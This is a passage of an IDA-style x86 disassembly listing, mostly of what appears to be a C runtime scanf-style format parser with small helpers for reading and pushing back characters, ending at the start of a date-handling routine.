sub_418762 pop ecx pop ecx jmp short loc_41B8E8 ; --------------------------------------------------------------------------- loc_41B8D9: ; CODE XREF: sub_41B7F5+D3j mov ecx, ds:off_42F360 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41B8E8: ; CODE XREF: sub_41B7F5+E2j test eax, eax jz short loc_41B8FE mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_41B963 ; --------------------------------------------------------------------------- loc_41B8FE: ; CODE XREF: sub_41B7F5+F5j cmp ebx, 4Eh jg short loc_41B941 jz short loc_41B963 cmp ebx, 2Ah jz short loc_41B93C cmp ebx, 46h jz short loc_41B963 cmp ebx, 49h jz short loc_41B91E cmp ebx, 4Ch jnz short loc_41B950 inc [ebp+var_D] jmp short loc_41B963 ; --------------------------------------------------------------------------- loc_41B91E: ; CODE XREF: sub_41B7F5+11Dj cmp byte ptr [esi+1], 36h jnz short loc_41B950 cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_41B950 inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_41B963 ; --------------------------------------------------------------------------- loc_41B93C: ; CODE XREF: sub_41B7F5+113j inc [ebp+var_E] jmp short loc_41B963 ; --------------------------------------------------------------------------- loc_41B941: ; CODE XREF: sub_41B7F5+10Cj cmp ebx, 68h jz short loc_41B95D cmp ebx, 6Ch jz short loc_41B955 cmp ebx, 77h jz short loc_41B958 loc_41B950: ; CODE XREF: sub_41B7F5+122j ; sub_41B7F5+12Dj ... inc [ebp+var_F] jmp short loc_41B963 ; --------------------------------------------------------------------------- loc_41B955: ; CODE XREF: sub_41B7F5+154j inc [ebp+var_D] loc_41B958: ; CODE XREF: sub_41B7F5+159j inc [ebp+var_5] jmp short loc_41B963 ; --------------------------------------------------------------------------- loc_41B95D: ; CODE XREF: sub_41B7F5+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_41B963: ; CODE XREF: sub_41B7F5+107j ; sub_41B7F5+10Ej ... cmp [ebp+var_F], 0 jz loc_41B8BC cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_41B988 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_41B988: ; CODE XREF: sub_41B7F5+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_41B9A6 mov al, [esi] cmp al, 53h jz short loc_41B9A2 cmp al, 43h jz short loc_41B9A2 or [ebp+var_5], 0FFh jmp short loc_41B9A6 ; --------------------------------------------------------------------------- loc_41B9A2: ; CODE XREF: sub_41B7F5+1A1j ; sub_41B7F5+1A5j mov [ebp+var_5], 1 loc_41B9A6: ; CODE XREF: sub_41B7F5+19Bj ; sub_41B7F5+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_41B9DF cmp esi, 63h jz short loc_41B9D0 cmp esi, 7Bh jz short loc_41B9D0 push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_41C282 pop ecx jmp short loc_41B9DB ; --------------------------------------------------------------------------- loc_41B9D0: ; CODE XREF: sub_41B7F5+1C5j ; sub_41B7F5+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_41C251 loc_41B9DB: ; CODE XREF: sub_41B7F5+1D9j pop ecx mov [ebp+var_14], eax loc_41B9DF: ; CODE XREF: sub_41B7F5+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_41B9EF cmp [ebp+var_C], eax jz loc_41C1CB loc_41B9EF: ; CODE XREF: sub_41B7F5+1EFj cmp esi, 6Fh jg loc_41BC56 jz loc_41BF08 cmp esi, 63h jz loc_41BC33 cmp esi, 64h jz loc_41BF08 jle loc_41BC80 cmp esi, 67h jle short loc_41BA53 cmp esi, 69h jz short loc_41BA3B cmp esi, 6Eh jnz loc_41BC80 cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_41C136 jmp loc_41C15C ; --------------------------------------------------------------------------- loc_41BA3B: ; CODE XREF: sub_41B7F5+229j push 64h pop esi loc_41BA3E: ; CODE XREF: sub_41B7F5+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_41BCC8 mov [ebp+var_17], 1 jmp loc_41BCCD ; --------------------------------------------------------------------------- loc_41BA53: ; CODE XREF: sub_41B7F5+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_41BA6F mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_41BA74 ; --------------------------------------------------------------------------- loc_41BA6F: ; CODE XREF: sub_41B7F5+26Aj cmp ebx, 2Bh jnz short loc_41BA8B loc_41BA74: ; CODE XREF: sub_41B7F5+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_41C251 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41BA8E ; --------------------------------------------------------------------------- loc_41BA8B: ; CODE XREF: sub_41B7F5+27Dj mov edi, [ebp+arg_0] loc_41BA8E: ; CODE XREF: sub_41B7F5+294j cmp [ebp+var_20], 0 jz short loc_41BA9D cmp [ebp+var_C], 15Dh jle short loc_41BAA4 loc_41BA9D: ; CODE XREF: sub_41B7F5+29Dj mov [ebp+var_C], 15Dh loc_41BAA4: ; CODE XREF: sub_41B7F5+2A6j ; sub_41B7F5+2F2j cmp ds:dword_42F56C, 1 jle short loc_41BAB9 push 4 push ebx call sub_418762 pop ecx pop ecx jmp short loc_41BAC4 ; --------------------------------------------------------------------------- loc_41BAB9: ; CODE XREF: sub_41B7F5+2B6j mov eax, ds:off_42F360 mov al, [eax+ebx*2] and eax, 4 loc_41BAC4: ; CODE XREF: sub_41B7F5+2C2j test eax, eax jz short loc_41BAE9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41BAE9 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41C251 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41BAA4 ; --------------------------------------------------------------------------- loc_41BAE9: ; CODE XREF: sub_41B7F5+2D1j ; sub_41B7F5+2DBj cmp ds:byte_42F570, bl jnz short loc_41BB57 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41BB57 inc [ebp+var_4] push edi call sub_41C251 mov ebx, eax mov al, ds:byte_42F570 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_41BB12: ; CODE XREF: sub_41B7F5+360j cmp ds:dword_42F56C, 1 jle short loc_41BB27 push 4 push ebx call sub_418762 pop ecx pop ecx jmp short loc_41BB32 ; --------------------------------------------------------------------------- loc_41BB27: ; CODE XREF: sub_41B7F5+324j mov eax, ds:off_42F360 mov al, [eax+ebx*2] and eax, 4 loc_41BB32: ; CODE XREF: sub_41B7F5+330j test eax, eax jz short loc_41BB57 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41BB57 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41C251 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41BB12 ; --------------------------------------------------------------------------- loc_41BB57: ; CODE XREF: sub_41B7F5+2FAj ; sub_41B7F5+304j ... cmp [ebp+var_1C], 0 jz loc_41BBEF cmp ebx, 65h jz short loc_41BB6F cmp ebx, 45h jnz loc_41BBEF loc_41BB6F: ; CODE XREF: sub_41B7F5+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41BBEF mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_41C251 mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_41BB96 mov [esi], al inc esi jmp short loc_41BB9B ; --------------------------------------------------------------------------- loc_41BB96: ; CODE XREF: sub_41B7F5+39Aj cmp ebx, 2Bh jnz short loc_41BBB9 loc_41BB9B: ; CODE XREF: sub_41B7F5+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_41BBAA and [ebp+var_C], eax jmp short loc_41BBB9 ; --------------------------------------------------------------------------- loc_41BBAA: ; CODE XREF: sub_41B7F5+3AEj ; sub_41B7F5+3F8j inc [ebp+var_4] push edi call sub_41C251 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41BBB9: ; CODE XREF: sub_41B7F5+3A4j ; sub_41B7F5+3B3j cmp ds:dword_42F56C, 1 jle short loc_41BBCE push 4 push ebx call sub_418762 pop ecx pop ecx jmp short loc_41BBD9 ; --------------------------------------------------------------------------- loc_41BBCE: ; CODE XREF: sub_41B7F5+3CBj mov eax, ds:off_42F360 mov al, [eax+ebx*2] and eax, 4 loc_41BBD9: ; CODE XREF: sub_41B7F5+3D7j test eax, eax jz short loc_41BBEF mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41BBEF inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_41BBAA ; --------------------------------------------------------------------------- loc_41BBEF: ; CODE XREF: sub_41B7F5+366j ; sub_41B7F5+374j ... dec [ebp+var_4] push edi push ebx call sub_41C26B cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_41C1FB cmp [ebp+var_E], 0 jnz loc_41C15C inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call ds:off_4316C8 add esp, 0Ch jmp loc_41C15C ; --------------------------------------------------------------------------- loc_41BC33: ; CODE XREF: sub_41B7F5+20Cj cmp [ebp+var_20], eax jnz short loc_41BC42 inc [ebp+var_C] mov [ebp+var_20], 1 loc_41BC42: ; CODE XREF: sub_41B7F5+441j cmp [ebp+var_5], 0 jle short loc_41BC4C mov [ebp+var_16], 1 loc_41BC4C: ; CODE XREF: sub_41B7F5+451j mov edi, offset dword_4316F0 jmp loc_41BD61 ; --------------------------------------------------------------------------- loc_41BC56: ; CODE XREF: sub_41B7F5+1FDj mov eax, esi sub eax, 70h jz loc_41BF04 sub eax, 3 jz loc_41BD52 dec eax dec eax jz loc_41BF08 sub eax, 3 jz loc_41BA3E sub eax, 3 jz short loc_41BCA4 loc_41BC80: ; CODE XREF: sub_41B7F5+21Bj ; sub_41B7F5+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_41C1CB dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_41C15C mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_41C15C ; --------------------------------------------------------------------------- loc_41BCA4: ; CODE XREF: sub_41B7F5+489j cmp [ebp+var_5], 0 jle short loc_41BCAE mov [ebp+var_16], 1 loc_41BCAE: ; CODE XREF: sub_41B7F5+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_41BD65 mov eax, edi lea edi, [eax+1] jmp loc_41BD61 ; --------------------------------------------------------------------------- loc_41BCC8: ; CODE XREF: sub_41B7F5+24Fj cmp ebx, 2Bh jnz short loc_41BCEF loc_41BCCD: ; CODE XREF: sub_41B7F5+259j dec [ebp+var_C] jnz short loc_41BCDE cmp [ebp+var_20], 0 jz short loc_41BCDE mov [ebp+var_F], 1 jmp short loc_41BCEF ; --------------------------------------------------------------------------- loc_41BCDE: ; CODE XREF: sub_41B7F5+4DBj ; sub_41B7F5+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_41C251 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41BCEF: ; CODE XREF: sub_41B7F5+4D6j ; sub_41B7F5+4E7j cmp ebx, 30h jnz loc_41BF3D push [ebp+arg_0] inc [ebp+var_4] call sub_41C251 mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_41BD3D cmp bl, 58h jz short loc_41BD3D cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_41BD27 push 6Fh loc_41BD21: ; CODE XREF: sub_41B7F5+55Bj pop esi jmp loc_41BF3D ; --------------------------------------------------------------------------- loc_41BD27: ; CODE XREF: sub_41B7F5+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41C26B pop ecx pop ecx push 30h pop ebx jmp loc_41BF3A ; --------------------------------------------------------------------------- loc_41BD3D: ; CODE XREF: sub_41B7F5+517j ; sub_41B7F5+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_41C251 pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_41BD21 ; --------------------------------------------------------------------------- loc_41BD52: ; CODE XREF: sub_41B7F5+46Fj cmp [ebp+var_5], 0 jle short loc_41BD5C mov [ebp+var_16], 1 loc_41BD5C: ; CODE XREF: sub_41B7F5+561j mov edi, offset dword_4316E8 loc_41BD61: ; CODE XREF: sub_41B7F5+45Cj ; sub_41B7F5+4CEj or [ebp+var_18], 0FFh loc_41BD65: ; CODE XREF: sub_41B7F5+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_415500 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_41BD89 cmp byte ptr [edi], 5Dh jnz short loc_41BD89 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_41BD8C ; --------------------------------------------------------------------------- loc_41BD89: ; CODE XREF: sub_41B7F5+584j ; sub_41B7F5+589j mov dl, [ebp+var_35] loc_41BD8C: ; CODE XREF: sub_41B7F5+592j ; sub_41B7F5+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_41BDF1 inc edi cmp al, 2Dh jnz short loc_41BDD8 test dl, dl jz short loc_41BDD8 mov cl, [edi] cmp cl, 5Dh jz short loc_41BDD8 inc edi cmp dl, cl jnb short loc_41BDAB mov al, cl jmp short loc_41BDAF ; --------------------------------------------------------------------------- loc_41BDAB: ; CODE XREF: sub_41B7F5+5B0j mov al, dl mov dl, cl loc_41BDAF: ; CODE XREF: sub_41B7F5+5B4j cmp dl, al ja short loc_41BDD4 movzx edx, dl movzx esi, al sub esi, edx inc esi loc_41BDBC: ; CODE XREF: sub_41B7F5+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_41BDBC loc_41BDD4: ; CODE XREF: sub_41B7F5+5BCj xor dl, dl jmp short loc_41BD8C ; --------------------------------------------------------------------------- loc_41BDD8: ; CODE XREF: sub_41B7F5+5A0j ; sub_41B7F5+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_41BD8C ; --------------------------------------------------------------------------- loc_41BDF1: ; CODE XREF: sub_41B7F5+59Bj cmp byte ptr [edi], 0 jz loc_41C1FB cmp [ebp+var_3C], 7Bh jnz short loc_41BE03 mov [ebp+arg_4], edi loc_41BE03: ; CODE XREF: sub_41B7F5+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_41C26B pop ecx pop ecx loc_41BE1A: ; CODE XREF: sub_41B7F5+6BCj ; sub_41B7F5+6C4j cmp [ebp+var_20], 0 jz short loc_41BE2E mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_41BECA loc_41BE2E: ; CODE XREF: sub_41B7F5+629j inc [ebp+var_4] push edi call sub_41C251 cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_41BEBE mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_41BEBE cmp [ebp+var_E], 0 jnz short loc_41BEB6 cmp [ebp+var_16], 0 jz short loc_41BEAB mov ecx, ds:off_42F360 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_41BE8A inc [ebp+var_4] push edi call sub_41C251 pop ecx mov [ebp+var_37], al loc_41BE8A: ; CODE XREF: sub_41B7F5+686j push ds:dword_42F56C lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_41EA59 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_41BEAE ; --------------------------------------------------------------------------- loc_41BEAB: ; CODE XREF: sub_41B7F5+673j mov [esi], al inc esi loc_41BEAE: ; CODE XREF: sub_41B7F5+6B4j mov [ebp+var_2C], esi jmp loc_41BE1A ; --------------------------------------------------------------------------- loc_41BEB6: ; CODE XREF: sub_41B7F5+66Dj inc [ebp+var_30] jmp loc_41BE1A ; --------------------------------------------------------------------------- loc_41BEBE: ; CODE XREF: sub_41B7F5+649j ; sub_41B7F5+667j dec [ebp+var_4] push edi push eax call sub_41C26B pop ecx pop ecx loc_41BECA: ; CODE XREF: sub_41B7F5+633j cmp [ebp+var_30], esi jz loc_41C1FB cmp [ebp+var_E], 0 jnz loc_41C15C inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_41C15C cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_41BEFC and word ptr [eax], 0 jmp loc_41C15C ; --------------------------------------------------------------------------- loc_41BEFC: ; CODE XREF: sub_41B7F5+6FCj and byte ptr [eax], 0 jmp loc_41C15C ; --------------------------------------------------------------------------- loc_41BF04: ; CODE XREF: sub_41B7F5+466j mov [ebp+var_D], 1 loc_41BF08: ; CODE XREF: sub_41B7F5+203j ; sub_41B7F5+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_41BF16 mov [ebp+var_17], 1 jmp short loc_41BF1B ; --------------------------------------------------------------------------- loc_41BF16: ; CODE XREF: sub_41B7F5+719j cmp ebx, 2Bh jnz short loc_41BF3D loc_41BF1B: ; CODE XREF: sub_41B7F5+71Fj dec [ebp+var_C] jnz short loc_41BF2C cmp [ebp+var_20], 0 jz short loc_41BF2C mov [ebp+var_F], 1 jmp short loc_41BF3D ; --------------------------------------------------------------------------- loc_41BF2C: ; CODE XREF: sub_41B7F5+729j ; sub_41B7F5+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_41C251 pop ecx mov ebx, eax loc_41BF3A: ; CODE XREF: sub_41B7F5+543j mov [ebp+var_14], ebx loc_41BF3D: ; CODE XREF: sub_41B7F5+4FDj ; sub_41B7F5+52Dj ... cmp [ebp+var_30], 0 jz loc_41C056 cmp [ebp+var_F], 0 jnz loc_41C034 loc_41BF51: ; CODE XREF: sub_41B7F5+82Cj cmp esi, 78h jnz short loc_41BFA5 cmp ds:dword_42F56C, 1 jle short loc_41BF6E push 80h push ebx call sub_418762 pop ecx pop ecx jmp short loc_41BF7B ; --------------------------------------------------------------------------- loc_41BF6E: ; CODE XREF: sub_41B7F5+768j mov eax, ds:off_42F360 mov al, [eax+ebx*2] and eax, 80h loc_41BF7B: ; CODE XREF: sub_41B7F5+777j test eax, eax jz loc_41C026 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_41EB50 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_41C21A mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41BFF8 ; --------------------------------------------------------------------------- loc_41BFA5: ; CODE XREF: sub_41B7F5+75Fj cmp ds:dword_42F56C, 1 jle short loc_41BFBA push 4 push ebx call sub_418762 pop ecx pop ecx jmp short loc_41BFC5 ; --------------------------------------------------------------------------- loc_41BFBA: ; CODE XREF: sub_41B7F5+7B7j mov eax, ds:off_42F360 mov al, [eax+ebx*2] and eax, 4 loc_41BFC5: ; CODE XREF: sub_41B7F5+7C3j test eax, eax jz short loc_41C026 cmp esi, 6Fh jnz short loc_41BFE3 cmp ebx, 38h jge short loc_41C026 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_41EB50 jmp short loc_41BFF2 ; --------------------------------------------------------------------------- loc_41BFE3: ; CODE XREF: sub_41B7F5+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_415930 loc_41BFF2: ; CODE XREF: sub_41B7F5+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_41BFF8: ; CODE XREF: sub_41B7F5+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_41C010 dec [ebp+var_C] jz short loc_41C034 loc_41C010: ; CODE XREF: sub_41B7F5+814j push [ebp+arg_0] inc [ebp+var_4] call sub_41C251 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41BF51 ; --------------------------------------------------------------------------- loc_41C026: ; CODE XREF: sub_41B7F5+788j ; sub_41B7F5+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41C26B pop ecx pop ecx loc_41C034: ; CODE XREF: sub_41B7F5+756j ; sub_41B7F5+819j cmp [ebp+var_17], 0 jz loc_41C11A mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_41C11A ; --------------------------------------------------------------------------- loc_41C056: ; CODE XREF: sub_41B7F5+74Cj cmp [ebp+var_F], 0 jnz loc_41C112 loc_41C060: ; CODE XREF: sub_41B7F5+90Aj cmp esi, 78h jz short loc_41C0A4 cmp esi, 70h jz short loc_41C0A4 cmp ds:dword_42F56C, 1 jle short loc_41C07F push 4 push ebx call sub_418762 pop ecx pop ecx jmp short loc_41C08A ; --------------------------------------------------------------------------- loc_41C07F: ; CODE XREF: sub_41B7F5+87Cj mov eax, ds:off_42F360 mov al, [eax+ebx*2] and eax, 4 loc_41C08A: ; CODE XREF: sub_41B7F5+888j test eax, eax jz short loc_41C104 cmp esi, 6Fh jnz short loc_41C09D cmp ebx, 38h jge short loc_41C104 shl edi, 3 jmp short loc_41C0DC ; --------------------------------------------------------------------------- loc_41C09D: ; CODE XREF: sub_41B7F5+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_41C0DC ; --------------------------------------------------------------------------- loc_41C0A4: ; CODE XREF: sub_41B7F5+86Ej ; sub_41B7F5+873j cmp ds:dword_42F56C, 1 jle short loc_41C0BC push 80h push ebx call sub_418762 pop ecx pop ecx jmp short loc_41C0C9 ; --------------------------------------------------------------------------- loc_41C0BC: ; CODE XREF: sub_41B7F5+8B6j mov eax, ds:off_42F360 mov al, [eax+ebx*2] and eax, 80h loc_41C0C9: ; CODE XREF: sub_41B7F5+8C5j test eax, eax jz short loc_41C104 push ebx shl edi, 4 call sub_41C21A mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41C0DC: ; CODE XREF: sub_41B7F5+8A6j ; sub_41B7F5+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_41C0EE dec [ebp+var_C] jz short loc_41C112 loc_41C0EE: ; CODE XREF: sub_41B7F5+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_41C251 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41C060 ; --------------------------------------------------------------------------- loc_41C104: ; CODE XREF: sub_41B7F5+897j ; sub_41B7F5+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41C26B pop ecx pop ecx loc_41C112: ; CODE XREF: sub_41B7F5+865j ; sub_41B7F5+8F7j cmp [ebp+var_17], 0 jz short loc_41C11A neg edi loc_41C11A: ; CODE XREF: sub_41B7F5+843j ; sub_41B7F5+85Cj ... cmp esi, 46h jnz short loc_41C123 and [ebp+var_1C], 0 loc_41C123: ; CODE XREF: sub_41B7F5+928j cmp [ebp+var_1C], 0 jz loc_41C1FB cmp [ebp+var_E], 0 jnz short loc_41C15C inc [ebp+var_34] loc_41C136: ; CODE XREF: sub_41B7F5+23Bj cmp [ebp+var_30], 0 jz short loc_41C14C mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_41C15C ; --------------------------------------------------------------------------- loc_41C14C: ; CODE XREF: sub_41B7F5+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_41C159 mov [eax], edi jmp short loc_41C15C ; --------------------------------------------------------------------------- loc_41C159: ; CODE XREF: sub_41B7F5+95Ej mov [eax], di loc_41C15C: ; CODE XREF: sub_41B7F5+241j ; sub_41B7F5+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_41C1A9 ; --------------------------------------------------------------------------- loc_41C167: ; CODE XREF: sub_41B7F5+93j inc [ebp+var_4] push edi call sub_41C251 mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_41C1D6 mov ecx, ds:off_42F360 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41C1A9 inc [ebp+var_4] push edi call sub_41C251 pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_41C1E4 dec [ebp+var_4] loc_41C1A9: ; CODE XREF: sub_41B7F5+970j ; sub_41B7F5+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41C1BF cmp byte ptr [esi], 25h jnz short loc_41C201 mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_41C201 mov esi, eax loc_41C1BF: ; CODE XREF: sub_41B7F5+9B8j mov al, [esi] test al, al jnz loc_41B81F jmp short loc_41C1FB ; --------------------------------------------------------------------------- loc_41C1CB: ; CODE XREF: sub_41B7F5+1F4j ; sub_41B7F5+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_41C1DB ; --------------------------------------------------------------------------- loc_41C1D6: ; CODE XREF: sub_41B7F5+98Aj dec [ebp+var_4] push edi push ebx loc_41C1DB: ; CODE XREF: sub_41B7F5+9DFj call sub_41C26B pop ecx pop ecx jmp short loc_41C1FB ; --------------------------------------------------------------------------- loc_41C1E4: ; CODE XREF: sub_41B7F5+9AFj dec [ebp+var_4] push edi push eax call sub_41C26B dec [ebp+var_4] push edi push ebx call sub_41C26B add esp, 10h loc_41C1FB: ; CODE XREF: sub_41B7F5+1Fj ; sub_41B7F5+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41C212 loc_41C201: ; CODE XREF: sub_41B7F5+9BDj ; sub_41B7F5+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_41C215 cmp [ebp+var_15], al jnz short loc_41C215 or eax, 0FFFFFFFFh jmp short loc_41C215 ; --------------------------------------------------------------------------- loc_41C212: ; CODE XREF: sub_41B7F5+A0Aj mov eax, [ebp+var_34] loc_41C215: ; CODE XREF: sub_41B7F5+A11j ; sub_41B7F5+A16j ... pop edi pop esi pop ebx leave retn sub_41B7F5 endp ; =============== S U B R O U T I N E ======================================= sub_41C21A proc near ; CODE XREF: sub_41B7F5+7A3p ; sub_41B7F5+8DCp arg_0 = dword ptr 4 cmp ds:dword_42F56C, 1 push esi jle short loc_41C234 mov esi, [esp+4+arg_0] push 4 push esi call sub_418762 pop ecx pop ecx jmp short loc_41C243 ; --------------------------------------------------------------------------- loc_41C234: ; CODE XREF: sub_41C21A+8j mov esi, [esp+4+arg_0] mov eax, ds:off_42F360 mov al, [eax+esi*2] and eax, 4 loc_41C243: ; CODE XREF: sub_41C21A+18j test eax, eax jnz short loc_41C24D and esi, 0FFFFFFDFh sub esi, 7 loc_41C24D: ; CODE XREF: sub_41C21A+2Bj mov eax, esi pop esi retn sub_41C21A endp ; =============== S U B R O U T I N E ======================================= sub_41C251 proc near ; CODE XREF: sub_41B7F5+1E1p ; sub_41B7F5+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_41C263 mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_41C263: ; CODE XREF: sub_41C251+7j push edx call sub_41C368 pop ecx retn sub_41C251 endp ; =============== S U B R O U T I N E ======================================= sub_41C26B proc near ; CODE XREF: sub_41B7F5+6Bp ; sub_41B7F5+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_41C281 push [esp+arg_4] push [esp+4+arg_0] call sub_41EB6F pop ecx pop ecx locret_41C281: ; CODE XREF: sub_41C26B+5j retn sub_41C26B endp ; =============== S U B R O U T I N E ======================================= sub_41C282 proc near ; CODE XREF: sub_41B7F5+63p ; sub_41B7F5+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_41C288: ; CODE XREF: sub_41C282+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_41C251 mov edi, eax push edi call sub_41EB21 pop ecx test eax, eax pop ecx jnz short loc_41C288 mov eax, edi pop edi pop esi retn sub_41C282 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C2A6 proc near ; CODE XREF: sub_416ACB+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_41C362 cmp ebx, 8Ah jg 